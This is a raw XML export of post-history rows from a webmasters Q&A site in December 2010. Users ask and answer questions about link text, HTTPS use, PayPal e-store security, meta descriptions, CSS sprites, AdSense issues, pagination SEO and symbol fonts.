  <row Id="14299" PostHistoryTypeId="1" PostId="7113" RevisionGUID="b50d8044-9175-436e-b9c0-1a8869e37cc8" CreationDate="2010-12-26T21:00:30.393" UserId="210" Text="On which cloud sourced design site have you the best experience? (ie, cloudspring, mycroburst, etc)" />
  <row Id="14300" PostHistoryTypeId="3" PostId="7113" RevisionGUID="b50d8044-9175-436e-b9c0-1a8869e37cc8" CreationDate="2010-12-26T21:00:30.393" UserId="210" Text="&lt;website-design&gt;&lt;design&gt;" />
  <row Id="14301" PostHistoryTypeId="5" PostId="7113" RevisionGUID="873ba020-031b-49d0-8afb-24d99a20ec28" CreationDate="2010-12-26T21:07:23.147" UserId="210" Comment="added 83 characters in body; edited body; edited title" Text="I wasn't sure which site to ask this on (as Graphic Design hasn't reached beta yet), so I thought I would try here.&#xD;&#xA;&#xD;&#xA;I'm looking to have a couple logos and website designs done. I've had some great local designers, but each one has moved or gone else where so I keep having to look for new designers. My thought and realization in the last couple days is to go to a crowd source design site like [cloudspring.com][1] or [mycroburst.com][2]. &#xD;&#xA;&#xD;&#xA;Both of these sites look good, but I'm wondering what else is out there? Are there better ones and how have your experiences been them?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cloudspring.com&#xD;&#xA;  [2]: http://www.mycroburst.com" />
  <row Id="14302" PostHistoryTypeId="4" PostId="7113" RevisionGUID="873ba020-031b-49d0-8afb-24d99a20ec28" CreationDate="2010-12-26T21:07:23.147" UserId="210" Comment="added 83 characters in body; edited body; edited title" Text="On which crowd sourced design site have you the best experience? (ie, cloudspring, mycroburst, etc)" />
  <row Id="14303" PostHistoryTypeId="5" PostId="7113" RevisionGUID="afcd8ee3-fa4d-49c8-b6fd-da0470579939" CreationDate="2010-12-26T21:12:51.987" UserId="210" Comment="edited body; added 1 characters in body; edited title" Text="I wasn't sure which site to ask this on (as Graphic Design hasn't reached beta yet), so I thought I would try here.&#xD;&#xA;&#xD;&#xA;I'm looking to have a couple logos and website designs done. I've had some great local designers, but each one has moved or gone else where so I keep having to look for new designers. My thought and realization in the last couple days is to go to a crowd-sourced design site like [crowdspring.com][1] or [mycroburst.com][2]. &#xD;&#xA;&#xD;&#xA;Both of these sites look good, but I'm wondering what else is out there? Are there better ones and how have your experiences been them?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.crowdspring.com&#xD;&#xA;  [2]: http://www.mycroburst.com" />
  <row Id="14304" PostHistoryTypeId="4" PostId="7113" RevisionGUID="afcd8ee3-fa4d-49c8-b6fd-da0470579939" CreationDate="2010-12-26T21:12:51.987" UserId="210" Comment="edited body; added 1 characters in body; edited title" Text="On which crowd-sourced design site have you the best experience? (ie, cloudspring, mycroburst, etc)" />
  <row Id="14305" PostHistoryTypeId="4" PostId="7113" RevisionGUID="8468e89f-4065-45c7-803b-8d04bf8a30f0" CreationDate="2010-12-26T21:19:44.103" UserId="210" Comment="edited title" Text="On which crowd-sourced design site have you the best experience? (ie, crowdspring, mycroburst, etc)" />
  <row Id="14306" PostHistoryTypeId="2" PostId="7115" RevisionGUID="96043bb4-63d6-497d-9f7d-13aea5e29bce" CreationDate="2010-12-26T13:25:05.500" UserDisplayName="darioo" Text="Be creative. It's your sentence structure that matters.&#xD;&#xA;&#xD;&#xA;Instead of writing&#xD;&#xA;&#xD;&#xA;&gt; You can find more information about *certain topic* [over here][1].&#xD;&#xA;&#xD;&#xA;why not write&#xD;&#xA;&#xD;&#xA;&gt; After researching [certain topic][2] for quite some time, I found it fascinating!&#xD;&#xA;&#xD;&#xA;or, instead of&#xD;&#xA;&#xD;&#xA;&gt; For more information about our trip, [click here][3]&#xD;&#xA;&#xD;&#xA;why not write&#xD;&#xA;&#xD;&#xA;&gt; Our trip was full of magical moments, ones that I would really like to [share with you][4].&#xD;&#xA;&#xD;&#xA;You might have a programmer's spirit in you, but to be really good, you must also have more. A spirit of a writer, as an example.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://example.com/&#xD;&#xA;  [2]: http://example.com/&#xD;&#xA;  [3]: http://example.com/&#xD;&#xA;  [4]: http://example.com/" />
  <row Id="14307" PostHistoryTypeId="2" PostId="7116" RevisionGUID="37834406-f9bf-4be8-94bb-231b329c574f" CreationDate="2010-12-26T13:25:45.363" UserDisplayName="nico" Text="The problem about &quot;click here&quot; links is that they are not meaningful, as obviously a link is there to be clicked! You should try to link something that describes what you are linking.&#xD;&#xA;&#xD;&#xA;For instance, instead of using:&#xD;&#xA;&#xD;&#xA;There are several books about cooking:&#xD;&#xA;&#xD;&#xA;1. [link1][1]&#xD;&#xA;2. [link2][1]&#xD;&#xA;3. [link3][1]&#xD;&#xA;&#xD;&#xA;You could write&#xD;&#xA;&#xD;&#xA;There are several books about cooking:&#xD;&#xA;&#xD;&#xA;1. [The art of cooking][1]&#xD;&#xA;2. [500 ways of cooking fish][1]&#xD;&#xA;3. [Bacon: the food of the Gods][1]&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Instead of&#xD;&#xA;&#xD;&#xA;For more information about our trip, [click here][1].&#xD;&#xA;&#xD;&#xA;you could use:&#xD;&#xA;&#xD;&#xA;Find more about [the activities of our trip][1]!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.example.com&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Again:&#xD;&#xA;&#xD;&#xA;You can find more information about *certain topic* over [here][1].&#xD;&#xA;&#xD;&#xA;You can find more information about *certain topic* in our [wiki][1] or in [the manual page of *topic*][1].&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;In all these example I know in advance what the linked page will be about. The user does not need to be instructed that those are links or that they are meant to be clicked, he/she knows it!" />
  <row Id="14308" PostHistoryTypeId="2" PostId="7117" RevisionGUID="d3971336-6678-4954-85c5-f165dacf0259" CreationDate="2010-12-26T13:32:28.837" UserDisplayName="ern0" Text="Use carefully choosen titles as link captions, which describes the content behind. It is useful for search engines. Also, it requires that your content should be well-organized... SEO is not a list of tricks, but rahter a **result** of well-structured, useful content, with keeping usability issues in mind (I mean good SEO).&#xD;&#xA;&#xD;&#xA;EDIT: feel free to study sites with good usability/SEO, say, Wikipedia!" />
  <row Id="14309" PostHistoryTypeId="2" PostId="7114" RevisionGUID="257120a3-45c8-4ad6-9e06-817f416640c7" CreationDate="2010-12-26T13:17:58.353" UserId="1065" Text="I know that I should try to avoid links that have the text &quot;click here&quot;. But how do I avoid that? What are good alternatives to&#xD;&#xA;&#xD;&#xA;&gt; - You can find more information about *certain topic* [over here](http://example.com).&#xD;&#xA;&gt; - For more information about our trip, [click here](http://example.com).&#xD;&#xA;&#xD;&#xA;Just wondering if other people have some good practices and ways of avoiding these links. " />
  <row Id="14310" PostHistoryTypeId="1" PostId="7114" RevisionGUID="257120a3-45c8-4ad6-9e06-817f416640c7" CreationDate="2010-12-26T13:17:58.353" UserId="1065" Text="How to avoid &quot;click here&quot; links" />
  <row Id="14311" PostHistoryTypeId="3" PostId="7114" RevisionGUID="257120a3-45c8-4ad6-9e06-817f416640c7" CreationDate="2010-12-26T13:17:58.353" UserId="1065" Text="&lt;seo&gt;&lt;links&gt;" />
  <row Id="14312" PostHistoryTypeId="17" PostId="7114" RevisionGUID="db8ad405-2d35-4216-9394-e3d7d03479c5" CreationDate="2010-12-26T21:28:31.713" UserId="-1" Comment="from http://stackoverflow.com/questions/4533939/how-to-avoid-click-here-links" Text="" />
  <row Id="14313" PostHistoryTypeId="5" PostId="7113" RevisionGUID="a40261b1-7665-42b9-b1c0-58357f3c19a5" CreationDate="2010-12-26T21:30:43.283" UserId="210" Comment="deleted 1 characters in body; edited tags; edited title" Text="I wasn't sure which site to ask this on (as Graphic Design hasn't reached beta yet), so I thought I would try here.&#xD;&#xA;&#xD;&#xA;I'm looking to have a couple logos and website designs done. I've had some great local designers, but each one has moved or gone else where so I keep having to look for new designers. My thought and realization in the last couple days is to go to a crowdsourced design site like [crowdspring.com][1] or [mycroburst.com][2]. &#xD;&#xA;&#xD;&#xA;Both of these sites look good, but I'm wondering what else is out there? Are there better ones and how have your experiences been them?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.crowdspring.com&#xD;&#xA;  [2]: http://www.mycroburst.com" />
  <row Id="14314" PostHistoryTypeId="4" PostId="7113" RevisionGUID="a40261b1-7665-42b9-b1c0-58357f3c19a5" CreationDate="2010-12-26T21:30:43.283" UserId="210" Comment="deleted 1 characters in body; edited tags; edited title" Text="On which crowdsourced design site have you the best experience? (ie, crowdspring, mycroburst, etc)" />
  <row Id="14315" PostHistoryTypeId="6" PostId="7113" RevisionGUID="a40261b1-7665-42b9-b1c0-58357f3c19a5" CreationDate="2010-12-26T21:30:43.283" UserId="210" Comment="deleted 1 characters in body; edited tags; edited title" Text="&lt;website-design&gt;&lt;design&gt;" />
  <row Id="14316" PostHistoryTypeId="2" PostId="7119" RevisionGUID="bf3f128b-a409-4693-8531-d75b5d51fcb7" CreationDate="2010-12-26T16:46:24.740" UserDisplayName="duffymo" Text="I would say that if you have sensitive information passed in your app, you must have HTTPS regardless of the computational expense.  If my bank didn't have HTTPS turned on from the moment I logged on I wouldn't use them.  Security trumps performance when it's absolutely needed." />
  <row Id="14317" PostHistoryTypeId="2" PostId="7120" RevisionGUID="47b517ee-950e-4d53-b40a-87c0dcb0d52b" CreationDate="2010-12-26T17:09:00.980" UserDisplayName="Andrew Finnell" Text="That article makes a claim and doesn't back it up. While they can say it isn't computationally expensive COMPARED to 10 years ago, computationally expensive is relative. I believe their assertion is based on the fact that if you are using HTTP(S) in general for communication that adding SSL/TLS on top of that communication mechanism isn't going to destroy the performance of your application. I would rather see some profiling of an example first before believing that though. &#xD;&#xA;&#xD;&#xA;We need to understand the type of application you are developing first. Is this an application that will be transporting data through public networks? If it is through public networks will it require a VPN to access thus potentially providing encryption at the VPN layer? &#xD;&#xA;&#xD;&#xA;How many HTTP operations per second are you expecting?&#xD;&#xA;&#xD;&#xA;You will need to run performance tests to determine if SSL/TLS adds any overhead to your application. Build your application to handle both.&#xD;&#xA;&#xD;&#xA;What are the Use Cases for allowing someone to pick HTTPS over HTTP? If all the data is sensitive and some users would want HTTPS, I would question even allowing HTTP communication in the system.&#xD;&#xA;" />
  <row Id="14318" PostHistoryTypeId="2" PostId="7118" RevisionGUID="d3a6b3b6-6a93-43b8-92f6-df3106457864" CreationDate="2010-12-26T16:40:12.173" UserDisplayName="JVerstry" Text="I am considering using both HTTP and HTTPS in a web application and I am looking for tips to accomplish this best. The application will run under Tomcat.&#xD;&#xA;&#xD;&#xA;I have also seen the [following][1] about HTTPS performance. Can anyone confirm the claims made in this post (i.e., SSL/TLS is not computationally expensive any more)? Do you agree?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;  [1]: http://www.imperialviolet.org/2010/06/25/overclocking-ssl.html" />
  <row Id="14319" PostHistoryTypeId="1" PostId="7118" RevisionGUID="d3a6b3b6-6a93-43b8-92f6-df3106457864" CreationDate="2010-12-26T16:40:12.173" UserDisplayName="JVerstry" Text="Best way to have both HTTP and HTTPS communication in a web application? " />
  <row Id="14320" PostHistoryTypeId="3" PostId="7118" RevisionGUID="d3a6b3b6-6a93-43b8-92f6-df3106457864" CreationDate="2010-12-26T16:40:12.173" UserDisplayName="JVerstry" Text="&lt;performance&gt;&lt;http&gt;&lt;ssl&gt;" />
  <row Id="14321" PostHistoryTypeId="17" PostId="7118" RevisionGUID="6b067cf2-3c11-4908-9978-2d0d3feed70a" CreationDate="2010-12-26T21:32:51.907" UserId="-1" Comment="from http://stackoverflow.com/questions/4534587/best-way-to-have-both-http-and-https-communication-in-a-web-application" Text="" />
  <row Id="14322" PostHistoryTypeId="2" PostId="7121" RevisionGUID="2c8c6937-dbd5-4712-a4d0-79d281af234a" CreationDate="2010-12-26T21:37:05.900" UserId="210" Text="MY recommendation would be to actually keep the click here, but also add links within the lists, such as:&#xD;&#xA;&#xD;&#xA; - You can find more information about [certain topic over here][1]. &#xD;&#xA; - For more information [about our trip, click here][2].&#xD;&#xA;&#xD;&#xA;My reasoning is that some people still don't understand the idea that anything can be a link (when not part of a menu), so telling people to &quot;click here&quot; provides an action to do.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com&#xD;&#xA;  [2]: http://www.google.com" />
  <row Id="14323" PostHistoryTypeId="2" PostId="7122" RevisionGUID="ee18b525-e590-48b2-9087-2ce66a46be63" CreationDate="2010-12-27T04:17:44.870" UserId="4120" Text="I need an easy to read web usability book for my web programming students. Which one do you consider is the best? I have heard good things about &quot;Don't make me think&quot; from Steve Krug, but I need some others to propose to them.&#xD;&#xA;&#xD;&#xA;Thanks a lot in advance." />
  <row Id="14324" PostHistoryTypeId="1" PostId="7122" RevisionGUID="ee18b525-e590-48b2-9087-2ce66a46be63" CreationDate="2010-12-27T04:17:44.870" UserId="4120" Text="Which is the best web usability book for a non experienced webmaster?" />
  <row Id="14325" PostHistoryTypeId="3" PostId="7122" RevisionGUID="ee18b525-e590-48b2-9087-2ce66a46be63" CreationDate="2010-12-27T04:17:44.870" UserId="4120" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;usability&gt;" />
  <row Id="14326" PostHistoryTypeId="2" PostId="7123" RevisionGUID="615b6a30-a56c-4d0b-8e1c-bba985774926" CreationDate="2010-12-27T04:26:11.103" UserId="4120" Text="The idea is not to mix &quot;public&quot; HTTP with &quot;private&quot; HTTPS. &#xD;&#xA;Use HTTP whenever there is no problem if someone intercept your communication with the user, and when the communication gets private (sensitive data will tell you when) then use HTTPS. Don't mix them, because one thing that is considered a vulnerability is to have both services pointing to the same root folder. &#xD;&#xA;&#xD;&#xA;Let me explain myself better: If anyone can hurt your server using the HTTP protocol, by example locating a file in one of your folders, he will automatically knows that this damage is affecting the HTTPS site too. &#xD;&#xA;&#xD;&#xA;Be smart, don't show your cards.&#xD;&#xA;" />
  <row Id="14327" PostHistoryTypeId="2" PostId="7124" RevisionGUID="f0cfb286-b885-4e73-9c04-0e7a6555f6a4" CreationDate="2010-12-27T05:57:04.840" UserId="1757" Text="In addition to &quot;[Don't Make Me Think][2]&quot;, there are a few other titles specific to web application design that come to mind, such as:&#xD;&#xA;&#xD;&#xA; - &quot;[Rocket Surgery Made Easy][1]&quot; by Steve Krug&#xD;&#xA; - &quot;[Designing the Obvious][3]&quot; by Robert Hoekman, Jr.&#xD;&#xA; - &quot;[Web Form Design: Filling in the Blanks][4]&quot; by Luke Wroblewski&#xD;&#xA; - &quot;[Designing Web Interfaces: Principles and Patterns for Rich Interactions][5]&quot; by Bill Scott and Theresa Neil&#xD;&#xA; - &quot;[The Smashing Book][6]&quot; - Smashing Magazine&#xD;&#xA;&#xD;&#xA;But [there are many others][7] on usability and UI design in general that apply equally to web apps.&#xD;&#xA;&#xD;&#xA;Speaking of web usability, is there an easier way to link to Amazon book titles? I know that StackExchange makes a lot of its money through its Amazon referral links, which is why I took the time to link to them, but there ought to be an easier way to do this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.com/Rocket-Surgery-Made-Easy--Yourself/dp/0321657292/ref=sr_1_1?ie=UTF8&amp;qid=1293428938&amp;sr=8-1&#xD;&#xA;  [2]: http://www.amazon.com/Dont-Make-Me-Think-Usability/dp/0321344758/ref=pd_bxgy_b_img_b&#xD;&#xA;  [3]: http://www.amazon.com/Designing-Obvious-Common-Approach-Application/dp/0321749855/ref=sr_1_1?ie=UTF8&amp;qid=1293429039&amp;sr=8-1&#xD;&#xA;  [4]: http://www.amazon.com/Web-Form-Design-Filling-Blanks/dp/1933820241/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1293429230&amp;sr=8-1&#xD;&#xA;  [5]: http://www.amazon.com/Designing-Web-Interfaces-Principles-Interactions/dp/0596516258/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1293429251&amp;sr=1-1&#xD;&#xA;  [6]: http://www.amazon.com/Smashing-Book-Sven-Lennartz/dp/B003CH11BU/ref=sr_1_2?s=books&amp;ie=UTF8&amp;qid=1293429269&amp;sr=1-2&#xD;&#xA;  [7]: http://ui.stackexchange.com/questions/74/must-read-user-interface-book/259#259" />
  <row Id="14328" PostHistoryTypeId="2" PostId="7126" RevisionGUID="a316bc3b-3230-4a80-9a81-5442fcc81e48" CreationDate="2010-12-26T18:45:51.053" UserId="3146" Text="Absolutely, but unlikely depending on the type of product.&#xD;&#xA;&#xD;&#xA;If you are talking about digital product / digital downloads, that is a whole other side and security concerns.&#xD;&#xA;&#xD;&#xA;If you just check the PayPal transactions and then manually do something such as complete/ship an order, you should be ok - but if the confirmation page holds a script of some sort, it may be possible to &quot;pretend&quot; that the order was completed etc.&#xD;&#xA;&#xD;&#xA;As you are not hosting anything to do with payments, I would say that even if you were targeted, any sort of &quot;problems&quot; will just be limited to downtime whilst you recover (take regular backups), but you should be pretty safe." />
  <row Id="14329" PostHistoryTypeId="2" PostId="7125" RevisionGUID="feba2b00-ee0c-4940-b470-5ebc4624f188" CreationDate="2010-12-26T18:35:34.413" UserId="4098" Text="I have a website through which I am going to sell few products. It is hosted on a simple shared-hosting and does not have SSL.&#xD;&#xA;&#xD;&#xA;On the products page, each product has a **Buy Now** button created from my *PayPal* Merchant account. *PayPal* recommends to use it's **Button Factory** to create secure buttons and save it inside *PayPal* itself. I have followed the same advice and the code of any button is secure and does not disclose any information on either a product or it's price.&#xD;&#xA;&#xD;&#xA;When the user clicks on a **Buy Now** button, he/she is taken to *PayPal* site where a page is opened in SSL for the user to fill in the credit card and shipping details. After a successful transaction, the control is passed back to my site.&#xD;&#xA;&#xD;&#xA;I want to know whether there is still any chance when security could be compromised." />
  <row Id="14330" PostHistoryTypeId="1" PostId="7125" RevisionGUID="feba2b00-ee0c-4940-b470-5ebc4624f188" CreationDate="2010-12-26T18:35:34.413" UserId="4098" Text="Security considerations for my first eStore." />
  <row Id="14331" PostHistoryTypeId="3" PostId="7125" RevisionGUID="feba2b00-ee0c-4940-b470-5ebc4624f188" CreationDate="2010-12-26T18:35:34.413" UserId="4098" Text="&lt;security&gt;&lt;paypal&gt;&lt;ecommerce&gt;" />
  <row Id="14332" PostHistoryTypeId="17" PostId="7125" RevisionGUID="b1011252-17a1-40a0-9cc6-788df67be260" CreationDate="2010-12-27T07:00:06.597" UserId="-1" Comment="from http://superuser.com/questions/225911/security-considerations-for-my-first-estore" Text="" />
  <row Id="14333" PostHistoryTypeId="2" PostId="7127" RevisionGUID="042e9e1a-8001-4b13-869f-4485da514b4a" CreationDate="2010-12-27T07:13:44.177" UserId="2636" Text="Specifically, I'm wondering about pages that have a purpose that is sort of removed from the main site. For example, a privacy policy page - would you duplicate the description of the main page or is it best left alone?" />
  <row Id="14334" PostHistoryTypeId="1" PostId="7127" RevisionGUID="042e9e1a-8001-4b13-869f-4485da514b4a" CreationDate="2010-12-27T07:13:44.177" UserId="2636" Text="Should meta descriptions be unique for each page?" />
  <row Id="14335" PostHistoryTypeId="3" PostId="7127" RevisionGUID="042e9e1a-8001-4b13-869f-4485da514b4a" CreationDate="2010-12-27T07:13:44.177" UserId="2636" Text="&lt;seo&gt;&lt;meta-description&gt;" />
  <row Id="14336" PostHistoryTypeId="2" PostId="7128" RevisionGUID="52e5263d-7977-440c-b6ea-d91a3bd842dc" CreationDate="2010-12-27T10:53:44.397" UserId="1064" Text="Take a look over the [CWE/SANS Top 25 Most Dangerous Programming Errors][1] and consider the possible threats posed by unauthorized access to your filesystem (i.e. what happens if an attacker adds a malicious Javascript to your pages?) - shared host security practices vary *hugely* between providers, so you may want to review your host's offerings and practices if you feel that you have cause for concern.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cwe.mitre.org/top25/" />
  <row Id="14338" PostHistoryTypeId="2" PostId="7129" RevisionGUID="9ad8bbe2-21f7-4759-8726-78519fc40cdb" CreationDate="2010-12-27T12:09:55.167" UserId="2293" Text="Meta description is intended to be crawled, and has no direct effects for users. I guess you already know that.&#xD;&#xA;&#xD;&#xA;Unless you want a different description for your privacy policy page and similar when these pages appears on google results.&#xD;&#xA;&#xD;&#xA;As best practice, I'd recommend to put a simple unique description, but don't spent too much energy on that, because I believe only a few people will really be interested in searching your privacy policy page or similar." />
  <row Id="14339" PostHistoryTypeId="2" PostId="7130" RevisionGUID="013dc75c-273f-40fd-b97e-0c529c707077" CreationDate="2010-12-27T12:40:27.153" UserId="3312" Text="Nowadays often what was accomplished with an `&lt;img&gt;` tag is now done with something like a `&lt;div&gt;` with a Css background image set using a CSS 'sprite' and an offset.&#xD;&#xA;&#xD;&#xA;I was wondering what kind of an effect his has on SEO, as effectively we lose the `alt` attribute (which is indexed by google), and are stuck with the 'title' attribute (which as far as I understand is not indexed).&#xD;&#xA;&#xD;&#xA;Is this a significant dissadvantage?" />
  <row Id="14340" PostHistoryTypeId="1" PostId="7130" RevisionGUID="013dc75c-273f-40fd-b97e-0c529c707077" CreationDate="2010-12-27T12:40:27.153" UserId="3312" Text="Are CSS sprites bad for SEO?" />
  <row Id="14341" PostHistoryTypeId="3" PostId="7130" RevisionGUID="013dc75c-273f-40fd-b97e-0c529c707077" CreationDate="2010-12-27T12:40:27.153" UserId="3312" Text="&lt;seo&gt;&lt;css&gt;" />
  <row Id="14342" PostHistoryTypeId="2" PostId="7131" RevisionGUID="3f784153-007b-45a4-a362-b5e9b5b3a336" CreationDate="2010-12-27T12:58:01.663" UserId="1064" Text="[CSS sprites should only be used for decorative elements][1] for this reason - use `&lt;img&gt;` for elements which are specific to a page and use sprites for decorative elements which are not contextually relevant to the content presented.&#xD;&#xA;&#xD;&#xA;If you need a button image for your navigation items it makes much more sense to add that image as a background on the navigation link rather than markup like this:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;/&quot;&gt;&#xD;&#xA;      &lt;img src=&quot;/images/home.gif&quot; title=&quot;Home&quot; alt=&quot;Home Button&quot; /&gt; &#xD;&#xA;      Home&#xD;&#xA;    &lt;/a&gt;&#xD;&#xA;&#xD;&#xA;(i.e. wherever the image's content is redundant to text content on the page or the image's content could best be described as &quot;decoration&quot;)&#xD;&#xA;&#xD;&#xA;As an added bonus of separating site template elements as sprites, you'll later be able to change the site's &quot;skin&quot; by changing the stylesheet instead of overwriting the old design image files or rewriting all your HTML markup.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smashingmagazine.com/2010/03/26/css-sprites-useful-technique-or-potential-nuisance/" />
  <row Id="14343" PostHistoryTypeId="2" PostId="7132" RevisionGUID="8f19e5a0-3b44-4b9c-9aa4-5bff1e1a94cf" CreationDate="2010-12-27T13:51:07.907" UserId="233" Text="Yes, all meta descriptions should be unique, because every page is (or should be) unique.&#xD;&#xA;&#xD;&#xA;However, not every page really *needs* a meta description. It's only useful for pages that you want to rank in search results because that's where it is shown. For a privacy policy page, I would simply omit the meta description tag entirely." />
  <row Id="14344" PostHistoryTypeId="2" PostId="7133" RevisionGUID="141f3443-2e51-4f79-a874-e1cd1c6eab49" CreationDate="2010-12-27T17:45:41.947" UserId="1757" Text="The list danlefree links to is a great rundown of the most common security issues in online and offline applications (probably a good checklist to perform on most projects), but aside from these general concerns, there aren't that many e-commerce-specific issues to worry about if you're using off-site payment processing like PayPal standard.&#xD;&#xA;&#xD;&#xA;I mean, if your user is the target of a MITM (Man-in-the-Middle) attack, then it's possible for their payments to be diverted to the attacker's PayPal account (or have their PayPal credentials stolen), but this is a really unlikely scenario IMO. But if you want to be safe, then getting an SSL certificate and using it site-wide might be worthwhile. But the major e-commerce-related security concerns really only come about when you start handling PII (Personally Identifiable Information) and other sensitive information on-site. In that case, you need to start using TLS encryption, use a secure web host, and make sure you adhere to security best-practices (like only storing salted password hashes, adhering to the PCI-DSS, etc.).&#xD;&#xA;&#xD;&#xA;If this is your first e-commerce site, then it's probably best that you use off-site payment processing and pay close attention to the integration guides (e.g. the section on securing website payments in the PayPal standard integration guide). The only other thing I can think of is to avoid using emails to manage orders. The reason is that it's possible for a malicious user to spoof an order notification email without actually placing an order. So always check your PayPal dashboard to manage/verify orders." />
  <row Id="14348" PostHistoryTypeId="2" PostId="7135" RevisionGUID="87fbee26-a5fa-41de-9c7a-414dd9ff329d" CreationDate="2010-12-27T18:48:13.340" UserId="4124" Text="All that is output on the page is the domain name of the advertiser, for example 'www.solar-aid.org'. The rest of the content is stripped, I believe because of a document.write() statement.&#xD;&#xA;&#xD;&#xA;I'd like to know if this is a common issue or something wrong with our setup. There are three domains causing the issue, which we've blocked from Adsense as a result.&#xD;&#xA;&#xD;&#xA;* solar-aid.org&#xD;&#xA;* kiva.org&#xD;&#xA;* grameenfoundation.org&#xD;&#xA;&#xD;&#xA;Given the type of organizations I think they may be within the default group of 'public service ads' within the Backup Ads setting. If the issue doesn't completely resolve itself soon (one customer of ours complained today, even though I blocked them 5+ days ago), I'll disable public service ads and select the 'fill space with a solid color' option." />
  <row Id="14349" PostHistoryTypeId="1" PostId="7135" RevisionGUID="87fbee26-a5fa-41de-9c7a-414dd9ff329d" CreationDate="2010-12-27T18:48:13.340" UserId="4124" Text="Some Adsense domain's ads are causing document.write() statements that remove the html from the page" />
  <row Id="14350" PostHistoryTypeId="3" PostId="7135" RevisionGUID="87fbee26-a5fa-41de-9c7a-414dd9ff329d" CreationDate="2010-12-27T18:48:13.340" UserId="4124" Text="&lt;javascript&gt;&lt;advertising&gt;&lt;google-adsense&gt;" />
  <row Id="14356" PostHistoryTypeId="2" PostId="7136" RevisionGUID="2ca26d66-0c3e-4ce0-ad9a-f5a269004007" CreationDate="2010-12-27T20:39:35.297" UserId="4125" Text="Please consider a list of items (forum comments, articles, shoes, doesn't matter) which are spread over multiple pages. Different sort orders are supported (by date, by popularity, by price, etc).&#xD;&#xA;&#xD;&#xA;So, an URL might look like this (I use the query style here to simplify things):&#xD;&#xA;&#xD;&#xA;/items?id=1234&amp;page=42&amp;sort=popularity&#xD;&#xA;&#xD;&#xA;/items?id=1234&amp;page=5&amp;sort=date&#xD;&#xA;&#xD;&#xA;Now, in terms of SEO, I think I should be worried about duplicate content. After all, each item appears at least as many times as there are sort orders.&#xD;&#xA;&#xD;&#xA;I've seen Matt Cutts talking about the rel=canonical link tag, but he also said that the canonical page should have very similar content. But this is not the case here because page #1 in a non-canonical sort order might have completely different items than page #1 in the canonical sort order. For a given non-canonical page, there is no clear canonical page listing all the same items, so I think rel=canonical won't help here.&#xD;&#xA;&#xD;&#xA;Then I thought about using the noindex meta tag on all pages with non-canonical sort order, and not using it on all pages with canonical sort order.&#xD;&#xA;&#xD;&#xA;However, if I use that method, what will happen with backlinks that are going to non-canonical pages -- will they still spread their page rank juice, even though the first page googlebot (or any other crawler) is going to encounter is marked as &quot;noindex&quot;?&#xD;&#xA;&#xD;&#xA;Can you please comment on my problem and what you think is the best solution?&#xD;&#xA;&#xD;&#xA;If you think you have a better solution, please consider that 1) I do not want to use Javascript for this, 2) I do not want all the items to be on one page.&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14357" PostHistoryTypeId="1" PostId="7136" RevisionGUID="2ca26d66-0c3e-4ce0-ad9a-f5a269004007" CreationDate="2010-12-27T20:39:35.297" UserId="4125" Text="Pagination, Duplicate Content, and SEO" />
  <row Id="14358" PostHistoryTypeId="3" PostId="7136" RevisionGUID="2ca26d66-0c3e-4ce0-ad9a-f5a269004007" CreationDate="2010-12-27T20:39:35.297" UserId="4125" Text="&lt;seo&gt;&lt;canonical-url&gt;" />
  <row Id="14359" PostHistoryTypeId="2" PostId="7137" RevisionGUID="55da744c-ba0b-4aac-94db-52926feee3e6" CreationDate="2010-12-27T20:58:38.863" UserId="1064" Text="Use Google Webmaster Tools to [ignore the GET parameter][1] (i.e. &quot;sort&quot;) for different sort orders.&#xD;&#xA;&#xD;&#xA;I recently encountered this problem with an e-commerce shop in which the &quot;similar items&quot; feature was presented as a hard-coded link from every product page (which created many, many &quot;similar items&quot; pages for each product): telling Google to ignore the &quot;similar items&quot; GET parameter fixed the situation and took the number of &quot;pages&quot; down from 90+ million to a few thousand within several days with appreciable *improvements* in ranking (and, obviously, crawl rate).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://searchengineland.com/google-lets-you-tell-them-which-url-parameters-to-ignore-25925" />
  <row Id="14360" PostHistoryTypeId="2" PostId="7138" RevisionGUID="459a92cd-47fb-460d-a75a-2b1757f1e8f2" CreationDate="2010-12-27T21:46:34.953" UserId="4128" Text="I wonder if it's safe to use font-face with special dingbats fonts. What are good dingbats that you can recommend to use this way? What are the tips and tricks? Thanks." />
  <row Id="14361" PostHistoryTypeId="1" PostId="7138" RevisionGUID="459a92cd-47fb-460d-a75a-2b1757f1e8f2" CreationDate="2010-12-27T21:46:34.953" UserId="4128" Text="Symbol fonts using in page design" />
  <row Id="14362" PostHistoryTypeId="3" PostId="7138" RevisionGUID="459a92cd-47fb-460d-a75a-2b1757f1e8f2" CreationDate="2010-12-27T21:46:34.953" UserId="4128" Text="&lt;html&gt;&lt;css&gt;&lt;fonts&gt;" />
  <row Id="14363" PostHistoryTypeId="2" PostId="7139" RevisionGUID="c8c52d44-b23a-4634-89d5-1f1b4eb6e2b7" CreationDate="2010-12-28T00:47:12.363" UserId="215" Text="Some search engines (including Google and Bing) display a star rating for things like movies and downloads on sites such as IMDB and cnet.&#xD;&#xA;&#xD;&#xA;![screenshot][1]&#xD;&#xA;&#xD;&#xA;How can I configure my site to provide this data?&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/4khN5.png" />
